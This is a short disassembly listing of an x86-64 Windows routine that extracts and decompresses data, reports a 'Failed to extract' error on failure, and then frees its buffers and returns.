jbe 0x140001246
cmp eax, 2
je 0x140001241
mov ecx, dword [rsp + 0x38]
sub rbx, rcx
test r14, r14
je 0x140001204
mov r9, r14
mov r8, rbx
mov edx, 1
mov rcx, rbp
call fcn.14000f87c
cmp rax, rbx
jne 0x1400011ff
mov rcx, r14
call fcn.14000eeb0
test eax, eax
je 0x14000121a
mov edi, r15d
jmp 0x140001246
test rsi, rsi
je 0x14000121a
mov r8, rbx
mov rdx, rbp
mov rcx, rsi
call fcn.14002a090
add rsi, rbx
cmp dword [rsp + 0x38], 0
je 0x1400011a0
cmp edi, 1
je 0x14000123c
test r12, r12
je 0x140001246
mov rdi, qword [rsp + 0xc0]
jmp 0x140001150
xor r15d, r15d
jmp 0x140001261
mov edi, 0xfffffffd
mov rdx, qword [rsp + 0xc8]
lea rcx, str.Failed_to_extract__s:_decompression_resulted_in_return_code__d__n
add rdx, 0x12
mov r8d, edi
call fcn.140002010
mov r12, qword [rsp + 0xd0]
lea rcx, [rsp + 0x20]
call fcn.14000a840
mov rcx, r13
call fcn.140014918
mov rcx, rbp
call fcn.140014918
mov r13, qword [rsp + 0x80]
mov eax, r15d
add rsp, 0x88
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret